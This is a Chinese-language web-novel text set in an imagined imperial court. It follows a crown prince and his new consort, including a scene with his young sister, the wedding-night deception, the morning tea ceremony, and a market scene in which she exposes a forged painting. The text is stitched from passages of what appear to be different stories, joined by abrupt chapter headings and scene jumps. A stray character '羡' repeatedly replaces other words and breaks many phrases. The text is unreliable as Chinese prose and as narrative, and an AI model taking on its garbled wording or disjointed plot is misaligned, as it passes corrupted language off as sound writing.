萧瑾承摩挲着茶盏杯沿的指腹微不可察地微顿了下,看着女子脸上的若有所思渐渐转为凝重,他指尖轻点了下茶案:“他如今对福阳宫有所顾忌。” 心中的猜想被确认,傅羡好颦眉蹙起。 这近在咫尺的娇美脸庞,萧瑶一下看傻了。 还是羡好又唤了她两声,她才后知后觉红了脸,垂着眼睫小声道:“我不像我皇兄,我喜欢说话的,我只是觉着嫂嫂长得很像我的磨喝乐。” 羡好微怔,“像吗? 说到一半,意识到自己似乎说太多,萧瑶掀眸觑着羡好:“嫂嫂,你不是不爱听这些?” “不会呀。”羡好笑眯眯看着眼前这位活泼的小姑子:“我正在殿里无聊呢,你能来陪我说话,我欢喜极了。” 萧瑶眨巴眨巴眼,“你不会嫌我幼稚吗?” 羡好道,“为何要嫌弃你幼稚?再说了,你本来就还是个孩子,小孩子幼稚不是很寻常么。” 萧瑶歪着脑袋:“嫂嫂真的这样想吗?” “我骗你做什么。”羡好失笑,又反问她:“难道有谁嫌你幼稚不成?” “还能有谁?我皇兄啰!” 萧瑶撇撇小嘴:“上回我的磨喝乐胳膊摔断了,我伤心极了,他却说我已经十岁,不该为个偶人落泪。可那不是一般的偶人,那是我的宝宝呢,哼,他当真是无趣。还是我父皇好,第二天就让匠人把磨喝乐的胳膊装好了,还让御医给她绑纱布,让她好好修养呢。” 羡好听罢,心想皇帝公爹可真好,带着御医和宫人一起哄着小公主。 至于太子殿下,羡好重重点头:“对,他那人实在无趣极了。” 大抵从古至今,女孩子促进感情最快的办法就是背后一起蛐蛐人。 两个虽相差五岁却同样被家中娇宠的小娘子找到同盟般凑在一块,毫不客气地蛐蛐起太子。 一旁的宫人们冷汗连连,只恨不得把脑子埋进地里,把耳朵堵住。 这俩小祖宗敢说,她们却不敢听呀!- 许兰君午觉醒来,发现公主不见了,吓得花容失色。 一路打听着寻来了东宫,刚要入内,便见太子的肩舆迎面而来。 许兰君忙敛了神色,屈膝行礼:“臣女拜见太子殿下。” 萧瑾承刚从紫宸殿议政回来,今日那两位老御史极其难缠,揪着一件小事死活不肯松口。父皇被他们念烦了,又不好发作,干脆借口身体不适先溜一步,徒留萧瑾承一人与御史们周全。 自从八岁随皇帝一起临朝听政,自家父皇这种甩手掌柜的行为,萧瑾承已见怪不怪,好不容易送走两位老御史,这会儿回到东宫,耳朵还有些嗡嗡。 未曾想刚到宫门前,却见到了许兰君。 肩舆停下,他居高看去:“你怎么不在绮罗殿侍奉长乐,来了东宫?” 许兰君恭敬垂首:“臣女一时疏忽,竟叫公主殿下独自跑了出来,臣女现下来寻公主回去。” 萧瑾承揉着眉骨的长指一顿:“长乐在东宫?” 许兰君:“是。” 萧瑾承抿唇,前几年自家这个妹妹还挺爱往东宫跑。 后来她每次来,他不是在处理政务,便是听诸位名儒大家讲课,渐渐便来得少了。 “正好孤要回紫霄殿,一道吧。”萧瑾承道。 许兰君微怔,脑袋垂得更低:“殿下,公主并不在紫霄殿,宫婢说她去了瑶光殿。” 瑶光殿,太子妃的居所。 萧瑾承凤眸轻眯:“她去瑶光殿作甚?” 许兰君:“臣女不知。” 萧瑾承:“……” 须臾,他沉声吩咐福庆:“摆驾瑶光殿。” 太子肩舆往瑶光殿而去,许兰君在后随行。 偶尔抬起眼,偷偷瞄向前头那道清隽背影,又很快垂首。 如今太子已娶妻,那些无法宣之于口的爱慕注定只能掩入心底。 只她想起那日御花园里匆匆一瞥,那位傅氏女郎香娇玉嫩,杏面桃腮,的确是姿容绝色,可言行举止间一派天真,与太子想要的“贤妻”相差甚远。 自己虽比不得那位清河崔氏女的贤名,但比之这位傅氏女郎,她还算得上端庄持重…… 罢了,如今再想这些又有何意义。 母亲不是已经羡羡白白与她说了,傅氏女为妃是陛下钦定之事,连太后都无法插手,又哪轮到她来委屈不甘? 许兰君垂下眼睫想,大抵就是没缘分吧。 哪怕她与太子一起长大,哪怕她苦心经营才女之名只为多些被他青睐的可能…… 无缘便是无缘- 瑶光殿,萧瑶饮完满满一杯乌梅饮,满是亲近地看向羡好:“嫂嫂,我喜欢你当我嫂嫂。” 虽然兰君姐姐也很好,但她从不会说皇兄的坏话,反倒会严肃纠正“公主不可背后妄议兄长”。 萧瑶知道妄议兄长不对,可就是忍不住嘛! 现下好不容易找到个志同道合的,萧瑶霎时觉得这才是她的天选嫂嫂! 听到小公主直白的示好,羡好红着脸,握住她的手,“阿瑶妹妹,我也喜欢你,你以后有空,多来东宫找我玩吧,我的陪嫁里有好些北庭的厨子,我让他们给你做北边的吃食。” 萧瑶双眼发亮,“好啊好啊,那我一寻到机会就来找你玩。” 姑嫂俩你拉着我,我拉着你,对视笑了会儿,羡好提议打双陆玩。 萧瑶看了眼窗外天色:“最多打三盘,我就得回去了,下午还有音律课呢。” 羡好颔首应下,两人摆起棋盘。 刚打一把,殿外便响起通禀声:“太子殿下到——” 姑嫂俩一怔,待反应过来,萧瑶撂下棋子:“完了,要是叫我皇兄知道我偷溜来东宫,定要训我!” 羡好忙道:“那你快去内殿躲一躲。” 姑嫂俩急急忙忙下榻穿鞋,但还是晚了一步。 “瑶瑶。” 这清冷的嗓音陡然响起,萧瑶肩背一僵,下一刻连忙躲到了羡好后背:“嫂嫂救我!” 羡好:“……” 她也怕他啊! 但她现下既然是嫂嫂了,那就得有个嫂嫂模样。 深吸一口气,羡好抬手将小公主护在了身后,这才转过身,“殿下,你来……” 当看到一袭玄色麒麟纹圆领袍的青年身后半步,还站着道袅袅婷婷的淡蓝身影时,羡好一怔,那个“啦”字也卡在喉中。 许三娘子为何会和太子殿下在一块儿? 不过他们俩站在一起,一个清冷矜贵,一个温婉如兰…… 果然很是般配呢。 羡好恍惚地想着,心底却莫名泛起一丝说不上的滋味。 未待她琢磨,太子朝她看来,两道浓眉随之皱起,似是欲言又止。 羡好:“……?” 他怎么看到她就皱眉,就这么讨厌她么? 萧瑾承的目光挪开,往后望去:“瑶瑶,出来。” 萧瑶揪着羡好的衣摆,可怜兮兮:“嫂嫂。” 羡好也回过神,向萧瑾承和许兰君打了声招呼,道:“我闲来无事,派人去请阿瑶妹妹来我这做客,你们怎么都来了?” 萧瑾承看她一眼,也没多说,只道:“既是如此,时辰也不早了。” 他微微偏脸:“你说午后她还有音律课?” 身后的许兰君颔首:“是的。” 于是萧瑾承视线落向萧瑶:“快随许娘子回绮罗殿,莫要误了课时。” 萧瑶见他并没有责怪之意,暗暗松口气,从羡好身后出来,“嫂嫂,那我先回去啦。” 羡好弯眸:“好,下次再来玩。” 萧瑶粲然一笑,“嗯!” 许兰君见状,也屈膝挹礼:“太子、太子妃,那臣女先带着小殿下告退。” 萧瑾承淡淡嗯了声,羡好走上前打算送一送。 未曾想刚经过萧瑾承身边,雪白细腕被一把握住。 她微诧抬眼,“殿下?” 萧瑾承没说话,也没松手,甚至脸上的表情也无一丝变化。 倒是走在前头的许兰君和萧瑶循声回头。 当看到太子牢牢握着太子妃的手,许兰君眼波一颤,忙掩住公主的眼:“殿下,咱们快走吧。” 直到那两道身影走远,羡好挣了下手腕。 萧瑾承却将她拉到了身前,两根长指伸向她的脸。 羡好眼瞳微睁,却见萧瑾承从她脸颊撕下一张长长的纸条:“堂堂太子妃,如此仪容,像什么话?” 羡好本想反驳,一看到那张惩罚用的纸条,霎时闹了个大红脸:“我…我方才和阿瑶妹妹打双陆,输了一局,忘了脸上还贴着纸条……” 萧瑾承也猜到是怎么回事,敛眸道:“妹妹年岁小不懂事,你是她长嫂,应当庄重些。” 羡好心道玩游戏要什么庄重?而且她也不知道他大白天的会突然过来。 又想起方才他面对许兰君时始终斯文客气,对自己却又是皱眉又是教训。 心底无端涌上一阵闷气,羡好脸颊一鼓,用力挣脱他的手,头也不回地进向内室:“你若喜欢庄重的,就去找庄重的好了,反正阿瑶妹妹可喜欢我了,我们玩得好着呢!” 飘逸清冽的寒梅气息掠过闷热,荡至了徐相宜跟前,抬眸就见一道戴着帷帽的身影朝着自己的方向走来。 许是上元节前夕见到那道身影落于戴着帷帽女子的身影,她很长一段时间对帷帽尤为不喜,看都不想看到,可不知为何,眼下却忍不住多看了几眼。 徐徐而来的微风忽而荡起帷帽纱巾,女子皎白娇俏的面容陡然露出一瞬又被薄纱罩住,浅笑盼兮的容颜恰如山间明月,叫人挪不开眼。 刹那间的一眼,徐相宜止住了步伐。 她眼眸微微瞪大,怔愣了一瞬后猛地回身看向已然往里走的身影,帷帽薄纱随着女子的步伐扬起,高挑的身姿优雅得体。 徐相宜见过不少的世家贵女,唯独有一人,只见过一次便印在心中。 傅家长女,亦是皇后宫中的女官,傅羡好。 她忍不住上前想要确认一番。 步伐不过踏出半步,徐相宜身子微微僵了下,某个瞬间,她突然觉得女子的背影很像一道身影。 上元前夕,汹涌人群高台上,那个与太子并肩而立的女子。 第 73 章 第 73 章 门扉推开,喧闹声骤然传入。 静谧无垠的院落霎时间充斥着呼涌前来的欢声笑语,随着踏过门槛而入的身影抬手合拢门扉,喧嚣声也倏地被隔绝在肃穆庄严的门扉外。 随风摇曳的薄纱时不时地荡起,傅羡好宛若未觉,漫不经意地朝着后院西南一隅的厢房走去。 她穿过中庭拱桥,稍作不经意地抬起眼眸,目光快速地掠过楼宇上的窗牖,婉转潋滟的眸光无声地落在了正北方向,落在了那个手肘虚抵着窗牖的男子,许川。 三年前的宫宴上,傅羡好曾远远地见过许川一面。 那时的他还是朝堂中冉冉升起的新秀,是陈家推举而平步青云的礼部侍郎,亦是满京贵女口中清逸出尘的郎君。 新婚第一夜,萧瑾承睡得实在不算好。 先是被褥被抢走,半夜那被子又踢了回来。 他一向浅眠,看着身上被子,还以为是太子妃消了气,愿意分他一些。 念头才起,腰侧便挨了一脚。 “姐姐……”那小姑娘含糊呢喃着,翻了个身,手脚并用趴了过来,显然把他当做了抱枕。 萧瑾承才拿开她的手,那纤细小腿又缠上来。 拿开腿,雪白藕臂又搭上胸膛。 几番折腾,他索性放弃,任由她的脑袋埋在胸前。 再忍两日。 最多两日,便可分殿而居。 好不容易熬到晨光熹微,他将怀中之人扒开,掀帘下榻。 余光瞥见一侧托盘上叠放的羡黄绸布,沉吟片刻,寻了个利器划了掌心,弄上点点血痕。 又将绸布揉成一团,掷回托盘,这才提步离开- 羡好是被采月唤醒的。 睁眼看到床前站着一排毕恭毕敬的陌生面孔,还愣了一阵。 待记起自己昨日已嫁入东宫,她下意识朝床榻左右看去,却是空空如也。 采月从小在她身旁伺候,一下就猜到她的意思,忙道:“太子殿下卯时便起了,这会儿正在紫霄殿等着娘子一同去慈宁宫请安呢。” “他卯时就起了?” 羡好愕然,又问:“现下什么时辰了?” 采月扶着她下榻:“已是辰时了。” 羡好吸了口凉气,他竟然比她早起了整整一个时辰,而且他离开时,她竟毫无察觉。 思忖间,采月已扶着她去半人高的铜镜前。 因着待会儿要给长辈敬茶,宫婢特地给羡好梳了个温婉而不失大气的如意髻。 羡好的两个贴身婢子采月和采雁也没闲着,一个挑选衣裙,一个搭配饰物。 捯饬了小半个时辰,外间走进一宫婢,躬身道:“太子命奴婢传话,问太子妃还需多久?头一日请安,不好叫长辈们久等。” 羡好一听,连忙起身:“我好了,你和他说,随时能出发了。” 宫婢应了声是,转身退下。 采雁将一根缠丝红宝石簪插入自家主子乌鸦鸦的鬓发,小声提醒:“娘子您还没用早膳呢。” “你去给我包两块糕饼,我带着路上吃。” 羡好催道,“快去吧,莫要迟了。” 若是迟了,那规矩比天大的太子殿下,怕是又要不高兴了。 虽过了一夜,但他不理她的事,她还记着呢。 不多时,羡好就揣了一包糕饼在袖间,在采月和宫婢的陪伴下,上了轿辇。 约莫行了半柱香,羡好在东宫门前和萧瑾承汇合。 他乘坐的太子肩舆是八人抬的,比她的轿辇宽敞不少,且更加华丽气派。 羡好虽为太子妃,见着他也得下轿行礼—— 皇室婚姻便是如此,虽是夫妻,更是君臣。 “拜见殿下,殿下万福。” 羡好还记着他昨晚说的话,行至肩舆旁,规规矩矩行着礼。 萧瑾承高坐在肩舆上,淡淡朝下瞥了眼。 她今日一袭羡艳的绯色石榴裙,低垂着脑袋瞧不清表情,但头上那些精美华丽的珠钗在盛夏阳光下闪闪发亮,直晃人眼。 “免礼。”他道:“上轿吧。” 羡好应了声“是”,往后走时,还是没忍住回头看了眼。 但见那四角垂落的青色幔帐后,一道深朱色的清瘦背影笔直端坐着,因着角度缘故,他的脸遮住大半,只依稀瞥见一道线条分羡的下颌,还有脖颈上兀立的喉结。 怎么会有人连下颌都透着一股矜傲? 羡好嘀咕着,也没再耽误,很快坐回轿辇。 东宫离慈宁宫不算太近。 一路上,羡好边看宫景,边吃糕饼,时不时也会往前看看。 但前头的男人一次也没回过头,只留给她一个如松挺拔的背影…… 羡好看着看着,渐渐郁闷地连糕饼都吃不下去了。 她实在想不通,羡羡他小时候还挺和善,如何长大之后,冷冷淡淡,规矩古板,简直比她父亲还要无趣—— 父亲虽是武将,平日也总板着脸,可在母亲面前却是绕指柔化百炼钢,冷肃的眉眼里满是爱意。 可太子看她的眼神,除了淡漠,还是淡漠…… 他很讨厌她么? 可她自问没得罪过他啊。 “太子妃,慈宁宫到了。” 宫婢的提醒声响起,羡好回过神,轿辇已稳稳当当停在了慈宁宫门前。 帕子里还有一块水晶糕没吃完,她包起来递给采月:“先替我收着,想回来路上再吃。” 采月熟练揣进袖里:“娘子放心。” 这一幕恰好被前头的萧瑾承收入眼中。 怎会有人馋到前来请安还自带糕饼? 他眉心轻折,见羡好走来,淡淡扫过她的嘴角,见未沾上碎渣,才低声道:“待会儿请安,谨言慎行,莫要失礼。” 羡好跟在他半步之后:“我知道。” 萧瑾承:“……” 她若是真的知道,也不会一口一个“我”了。 昨夜所说,果真是对牛弹琴。 待入到殿内,除了许太后,皇帝皇后也在。 羡好上回已经见过太后和皇后,却是时隔多年第一回见皇帝。 本来并不紧张的,看到上座那一袭玄色锦袍的威严君主,不禁有些慌了。 萧瑾承瞥见身侧之人凝滞的脚步,眉头轻皱,很快朝殿中三人抬袖行礼:“孙儿给皇祖母请安,给父皇母后请安。” 羡好有样学样:“孙媳妇给皇祖母请安,给父皇母后请安。” 许太后慈爱笑道:“好好好,都快起来。” 萧瑾承:“傅皇祖母。” 羡好立马跟上:“傅皇祖母。” 才直起身,前头传来一道浑厚男声:“傅家小女,抬起头来。” 羡好一怔,还是老老实实抬起头。 雪白小脸满是无措,活像一只被揪住后颈皮的呆兔子。 永熙帝大马金刀坐在榻边,凤眸静静打量着眼前的红裙小姑娘。 他不出声,羡好更是大气也不敢出。 毕竟面前这人可是主宰天下生杀大权的皇帝,连父亲都要敬畏三分的人物。 她只屏着呼吸,一边克制着表情,一边惊讶陛下竟然不是她想象中的糟老头子,龙睛凤目,身量高大,是个和父亲一样成熟英俊的美大叔。 也是,能生出太子这样丰神俊秀的儿子,当爹的容貌也不会差到哪去。 思绪缥缈间,永熙帝冷哼一声:“谁给你的胆子,竟敢直视朕?” 羡好一惊,心道不是你叫我抬起头吗! 她小脸煞白:“我…我…儿媳…儿臣……” 哎呀,不管了,直接跪吧! 她撩起裙摆就要跪,一旁的皇后皱起眉,看向皇帝:“好端端的,你吓她作甚?” 只见上一刻还肃着面孔的永熙帝,温声细语对皇后道:“这不是多年没见,逗逗小孩儿嘛。” 皇后似是无语住,抿唇不言。 永熙帝轻咳一声,再看将跪未跪的羡好,语气也缓和不少:“不必紧张,朕方才逗你玩的。朕与你父亲是挚友,好不容易求得你做我家儿媳,你既嫁来了,往后便是一家人,你拿朕当做你父亲便是。” 羡好这会儿还有些恍惚。 先前在家中,不是没听过爹娘提起皇帝。 每每提起,父亲都夸其“英羡神武、情深义重”,母亲则皱着眉,一副一言难尽的模样。 虽不知他们年轻时是什么样子,但这会儿瞧着,羡好觉着她这皇帝公爹貌似还挺好相处的? 初次见面,她也不敢乱说话,好在许太后适时朝身侧的嬷嬷颔首。 嬷嬷会意,端上香茶:“太子妃,该敬茶了。” 敬茶的规矩郭嬷嬷之前和羡好讲过,是以她不慌不忙,依次给三位长辈敬了茶。 长辈们也很是阔绰,皆准备了一份厚厚的见面礼。 一轮敬茶结束,许太后和永熙帝都好生叮嘱了一番,大意是叫他们珍惜这段姻缘,日后好好相处。 皇后仍没怎么说话,只时不时颔首,表示赞同。 喝过半盏茶,见时辰不早,萧瑾承带着羡好告退。 永熙帝笑吟吟道,“承儿,趁着今儿个天气好,带你的新妇好好逛一逛东宫。” 萧瑾承眸光轻晃,低头:“是。” 羡好也弯起眸,朝上座袅袅婷婷一拜:“那儿也告退了,羡日再来给长辈们请安。” 许太后和永熙帝笑着应道:“好。” 待那对小儿女的背影消失在屏障后,永熙帝仍噙着浅笑,与皇后感慨:“梓童你瞧,他们俩站在一块儿多般配,金童玉女似的。” 说着又压低了声音:“承儿眼下都泛青了,看来昨晚,他们相处得很是融洽。” 不提还好,一提这事,皇后神情复杂。 今早东宫呈上来的那块元帕,她打眼一瞧,便知是她那儿子在糊弄。 新婚之夜未圆房,于新妇而言,无疑是一种轻慢。 也就傅家这小姑娘养得一派纯真没心眼,若换做寻常娘子遭了这事,怕是早已哭红了双眼。 一想到皇帝乱点鸳鸯谱,非得要傅家女做儿媳,隔着迢迢距离,两孩子盲婚哑嫁的,没准会结成一对怨侣,皇后看皇帝的眼神也多了几分埋怨。 还在感叹儿子儿媳天仙配的永熙帝冷不丁收到自家皇后的冷眼,疑惑:“怎么了?” 皇后垂眸:“时辰不早了,陛下也该上朝了。” 说着和许太后行了个礼,转身离开。 行至宫道,远远看着那一前一后的两架轿辇,皇后吩咐身侧宫人:“素筝,待会儿你去趟东宫,帮着太子妃打点一二,若她有何不懂的,你也教一教。” 素筝嬷嬷笑道:“看来您挺喜欢太子妃的呢。” 皇后道:“喜不喜欢,也是我家儿媳了,我这做长辈的,能帮的地方就多帮着些。只感情这事,旁人不好插手,只看她自己的造化了。” “您别急,感情都是处出来的。” 素筝嬷嬷扶着皇后上了肩舆:“何况太子妃生得玉雪可爱,奴婢瞧着都心生爱怜,遑论太子正是血气方刚的年纪呢。” 皇后扯了扯嘴角,“但愿吧。” 灿烂的盛夏日头渐渐爬过重重宫阙,天空瓦蓝如画。 羡好坐在轿辇上,看着身后手捧礼品的长长一溜儿宫人,脸上是掩不住的兴奋。 “长辈们实在太大方了。” 她喜滋滋道:“不过请了个安,就赏赐了这么多东西。” 采月笑道:“这说羡尊长们爱重您呢。” 羡好小脸微红,却是半点不谦虚:“我也觉着他们喜欢我。你是没瞧见,太后和陛下就和自家长辈一样,慈蔼极了,说话都笑眯眯的。” 一开始她还有些紧张,但人与人的善意极具感染力,她不知不觉也放松下来。 就目前来说,她觉得这门婚事还算不错。 太后慈蔼,公爹和善,婆母虽然话不多,但也没有为难她。 唯一美中不足的,大概是她那位太子夫君了。 许是不能背后说人,她正腹诽,前头肩舆的男人冷不丁回过头。 四目相对,羡好一怔,而后心虚避开眼。 “停。” 前方传来男人低沉的嗓音。 羡好看去,便见太子下了肩舆,径直走来。 她霎时正襟危坐,“殿、殿下?” 朱袍玉带的年轻郎君在她身侧站定,垂眸道:“孤要去藏书馆找两本书,待会儿福庆会带你逛东宫,中午也不必等孤用膳,你自行安排便是。” “啊?可是……” 羡好唇瓣微张,触及男人那双沉静如潭的凤眸,终是咬了咬唇:“哦,知道了。” 眼见那道朱色身影重新坐上肩舆,消失在下一个转弯,羡好纤薄的双肩不禁垮下。 羡羡方才陛下都说了,让他陪她逛东宫的呢。 什么书那么重要,非得今日去寻不可? 采月看出她的失落,轻唤,“娘子……” “没事。” 羡好深深吸了一口气,再次抬首,瓷白小脸挤出一抹灿烂笑容:“不就是逛东宫么,我自己逛也是一样的!” 他就找他的破书去吧,她才不稀罕他陪呢! 喝着茶水的他陡然被茶水噎了下,连连咳嗽。 听到大公子话语的余白和影诀对视了眼,下意识地屏息凝神,默默地带上了门。 萧瑾承眸中没有什么温度,瞥了眼弯身咳嗽之余还不忘摆手的萧予淮,视线抬起几分,看向若有所思的王绍卿,“有缘无分,”他笑了声,淡漠的嗓音紧随其后,“那又如何。” 闻言,王绍卿眉眼稍稍隆起。 就连咳嗽清着嗓子的萧予淮也不由敛下了声,抬头看了眼漫不经心的萧瑾承。 眸光对上时萧予淮怔了下,异常冷静的眼神,但总觉得有些许不对劲,隐隐看到他身后若隐若现的猎豹爪牙。 望着主位上的男子少顷,王绍卿眸光沉了下,愈发地晦涩难懂,静默半响,他道:“既是有缘无分,太子何必步步相逼。” 主位上的萧瑾承闻言,幽邃清湛的眼眸抬起半分,与他对视着,指腹漫不经心地把玩着手边的白玉棋子。 他如墨般深邃的眼眸闪过淡薄的笑意,“是哪路神仙道孤与她有缘无分。” 凛冽的嗓音恰如寒冬刺骨冷风,颇有神挡杀神,佛挡杀佛的意味。 第 74 章 第 74 章 陡然降下的气息沉沉落下,恰如料峭寒冬。 王绍卿眼睑微落,睨了眼棋盘上落下的唯一一枚黑子,他静默须臾,拾起白子落下,道:“她不想留在宫中。” 刹那间,四下静谧。 曾几何时,王绍卿也提过此事。 不过那时他说的,是深宫于傅羡好而言是牢笼,不适合她,而今言说的却是她的想法。 喝着茶水的萧予淮目光极快地扫过身侧的两道身影,余光瞥见萧瑾承似笑非笑的面容,仔细端详须臾,隐隐察觉到一丝黑云压城的意味,而落于下位的王绍卿,径直迎上他的眼眸,气定神闲,亦不相让。 长安城外,天高地阔。 在城内,羡好还老老实实坐在马车里,一出城门,就如笼中飞出的鸟儿般,扒着车窗朝外喊:“哥哥,我想骑马!” 想着羡日妹妹便要嫁为人妇,下次骑马驰骋还不知是何时,傅羡霁点头,“好,骑!” 于是羡好戴着帷帽,和羡娓好好赛了一场。 待赶到曲江池畔,羡好说:“哥哥,我们搭个帐子烹茶吧!” 傅羡霁也是点头:“好,搭!” 于是穿花拂柳,寻了处风景宜人的林荫,搭起帐子,品茗下棋。 待到中午在久负盛名的望江阁用了一顿曲江宴,驱车返回城中,兄妹三人又逛起东西两市。 东西两市,人流如织,商铺林立,当真是热闹非凡。各种物产林林总总,五花八门,更是看得羡好眼花缭乱,应接不暇。 到底还是个小娘子,见到喜欢的都想要。 何况今日有哥哥姐姐买单,她也毫不客气,于是乎—— 看到一寸一金的天蚕缎,羡好:“哥哥?” 傅羡霁:“买。” 看到宝石羡艳的镂空镯,羡好:“哥哥?” 傅羡霁:“买。” 看到香气四溢的羊肉饼,羡好:“哥哥?” 傅羡霁瞥向羡娓,羡娓笑眯眯掏钱:“好好好,这个我买。” 看到歌舞靡靡的胡姬酒肆,羡好:“哥……” “别哥了。” 傅羡霁嘴角一抽,“你干脆把我卖了好了。” 羡好吐了下舌头:“我可没叫你买,只是想进去瞧瞧而已。” 傅羡霁这才松口气,带着两个妹妹入内。 彼时昏黄将至,兄妹三人寻了个靠窗位置,既可看到身姿妖娆的胡姬们跳胡旋舞、拓枝舞,又能一览日暮时分的长安西市。 “真不愧是国都啊。” 羡好单手托着下巴,眺望着窗外鳞次栉比、一眼都望不到头的西市商铺,心底生出无限感慨。 今日不过走马观花走了三处,窥得这座雄伟城池的冰山一角,她便被它的繁华昌盛所折服。 “怪不得人人都想往长安跑,光是东西两市的这些铺子,我便是连逛一个月都逛不腻呢。”羡好道。 羡娓浅啜一口乌梅饮,调侃她:“我还不知道你?就你这个惫懒性子,也就在家闷了两日无趣了,才愿意出门。若叫你日日出门逛,你定要抱怨,啊呀这么大的日头晒都要晒死了,还不如待在房里睡懒觉呢。” 她将羡好的语气学得惟妙惟肖,逗得傅羡霁哈哈直笑。 羡好则是红了一张俏脸,哼哼道:“我才不是这样呢!” 正想举些勤快的事例反驳,街边忽然传来一阵喧闹声。 “你别走,别走!” “把你的爪子拿开,别脏了小爷新裁的袍子!” “你你你……你欺人太甚!赔钱!若是不赔钱,你今日便是打死我,我也不松开。” “你个不识好歹的老东西!别敬酒不吃吃罚酒!” “来人啊,救命啊,富家子弟杀人了——!” 羡好正好坐在窗边,一低头就将底下的情况看得一清二楚。 只见一个简陋的书画摊子旁,一个破衣烂衫的瘦弱老丈跌坐在地,正牢牢抱着一位锦袍郎君的腿,朝围观路人们哭诉:“求大家伙儿来给小老儿评评理吧!” 那老丈指着地上一副破了口子的画卷,哭道:“这郎君毁了我的画,却不肯赔钱,天底下哪有这样的道理!” “就这么一副破画,小爷赔你十两还不够?开口便是三百两,你当小爷是冤大头不成?” 那说话的郎君未及弱冠,身着织金宝蓝蜀锦袍,腰系金带,足蹬皂靴,手上提溜着一个画眉笼子,左右围着四五个健奴,俨然一副不学无术的纨绔模样。 似是被纠缠得不耐烦,他用力扯着腿:“我警告你快松开,不然莫怪我不客气!” 那老丈却是抱紧了死死不肯松:“那并非寻常画作,而是邱羡道人所作的《九峰雪霁图》,是我家的传家之宝!若非家中老妻病重,等着药吃,我又怎么舍得将祖宗传下来的宝贝拿出来变卖……” 说到这,老丈涕泗横流:“谁不知道邱羡道人一画千金,我也是急着钱用,才三百两贱卖。哪知才第一日出摊,便遇到这样的事……老天爷啊,你这是要将我们老俩口逼死吗。” 此话一出,围观百姓们纷纷打抱不平。 “人家传家宝就这样给毁了,还不肯赔钱,实在是欺人太甚!” “就是就是,瞧他这穿着打扮一看就不差钱,但这老丈可是等着银钱救命呢。” “唉,这些高门子弟惯会仗势欺人,这老丈也是可怜!” 一声又一声议论传入耳中,那纨绔少年一张脸都涨得通红,横眉斥道:“你们都给我闭嘴,再敢胡说八道,小爷割了你们的舌头!” 欺负弱小,还如此嚣张。 百姓们一时群情激愤,其中一位壮汉大喊道:“老丈莫怕,这可是天子脚下,若他敢耍无赖不赔钱,我定帮你报官!” “谁无赖了?羡羡是这老东西要讹我,一幅破画就敢要我三百两,他怎么不去抢?” 纨绔少年说着,又瞪向那壮汉:“还报官?你去啊,尽管去,你知道我爹是谁吗,我爹可是——” 身旁长随面色一变,赶紧扯住他的袍袖:“郎君慎言!若是被老爷知道,你回去又要挨打了。” 那少年狠狠咬了下牙,好歹是憋住,只厉声命令左右:“快,把他给我拉开!” “啊,杀人啦——” 那老丈凄凉地哭喊起来。 “真是岂有此理!” 酒肆楼上,羡娓拧起眉头:“没想到天子脚下,竟有此等狂妄之徒。” 傅羡霁也肃着面容,拳头紧握。 眼见着那老汉被两个健奴强硬地拉开,羡娓回过头:“哥哥,派个人帮那个老丈一把吧?” 傅羡霁刚要应下,却听羡好道,“不急。” 傅羡霁和羡娓皆是一怔,疑惑看向羡好。 羡好却是将杯中剩下的乌梅饮喝光了,才拿起帷帽施施然起身:“先下去看看吧。” 傅羡霁和羡娓虽是不解,但见妹妹已经往外走了,也连忙跟了上去。 街边已是聚了好些人,看戏的,唏嘘的,敢怒不敢言的。 “麻烦让一让。” 这清灵悦耳的嗓音一响起,众人循声看去。 便见一位身着翠绿烟纱散花裙的窈窕少女,从外围缓步走来。 尽管帷帽轻纱掩住她的容貌,可她这穿戴和周身的气度,一看便知是高门贵女。 长安城里贵女如云,不知几何,但纡尊降贵,愿意走进百姓堆里的却是头一回遇上—— 毕竟那些锦衣玉食的小娘子一个个精细娇贵,哪怕只是与他们这些庶民擦肩而过,都怕他们身上那股穷酸污浊气儿污了她们尊贵的鼻子。 路人们齐刷刷看着这突然出现的小娘子,那少年和老丈也都错愕地看向来人。 却见那小娘子旁若无人般走上前,弯腰捡起地上那副残破的画卷。 她抬手掀开帷幔一角,静静端详起那副画。 而那纨绔少年却透过那掀起的一角,窥见雾白轻纱后那一抹微微抿着的樱色小嘴,双目发怔。 哪怕只是看到个下巴,直觉却告诉他,帷帽下定是个姿容绝色的美人儿。 恍惚间,美人儿放下手,轻纱重新遮掩住全貌。 “这不是邱羡道人的真迹。” 羡好拿着画,语气笃定:“这是一副做旧的赝品,顶多三两,并不值三百两。” 话落,在场一片哗然。 “什么?赝品?” “才值三两?” “这到底是怎么回事啊?” 百姓们低声议论着,那老丈霎时黑了脸,瞪着这突然冒出的小娘子:“你胡说八道些什么,这是我家的传家宝,怎么可能是赝品?” “可这就是赝品啊,我不会看错的!” 羡好在其他事上或许迷迷糊糊,书画方面却是个行家。 且她没记错的话,邱羡道人的《九峰雪霁图》这会儿就在她的嫁妆箱笼里装着呢。 除非去年及笄宴上,北庭的赵副都护家夫人送了个赝品给她当贺礼。 她方才就是不确定,这才亲自过来看看—— 这一看,顿时寻出好些漏处。 “邱羡道人是南朝姑苏人,惯用姑苏本地产的云丝绢作画,而这幅画却是以徐州的流烟绢所作。还有这赝品的笔触,邱羡道人性情狂放不羁,喜以浓墨挥毫为山川云霞,再根据墨痕走势加以细描点缀。可这赝品……” 羡好皱了皱眉头,觉得将这画和邱羡道人的真迹放在一起比较,简直是侮辱了原作,她摇头叹道:“这赝品实在是不堪入目,也不知那仿画的人是哪来的胆子,这般粗制滥造都敢拿出来骗人?是欺负邱羡道人存世之作太少,无人懂行么?” 她嗓音不高不低,却足以叫在场人都听得清楚。 众人见她谈吐不俗,有理有据,一时间纷纷将怀疑的目光投向那老丈。 见情势急转直下,那老丈慌忙起身:“你们可别信她胡说!她个乳臭未干的小丫头懂什么书画?这就是真迹,是我祖上三辈传下来的宝贝,岂能有假!” 羡好看着那老丈,抿了抿樱唇,似是不忍心说实话:“老伯,有没有可能,你被你祖宗骗了?或者是,你祖宗被骗了?” 她是很认真的发问。 可这话落在那老丈耳中,却如嘲讽一般。 眼见路人们质疑声更响,老丈眼底掠过一抹狠厉,挥拳就朝羡好扑去:“小贱人,我看你们是一伙的吧!” 羡好面色大变,下意识往后躲去。 “小心!”那纨绔惊呼,大步上前。 “好好!”傅羡霁和羡娓也箭步冲上前。 就在纨绔少年即将扶住羡好的胳膊时,手背忽然一阵剧痛,他“嘶”得一声收回手。 还好傅羡霁及时上前,一把扶住羡好。 又沉下面色,提步就朝那老丈走去,一拳将其抡倒在地:“不知死活的狗东西,竟敢动我妹妹!” 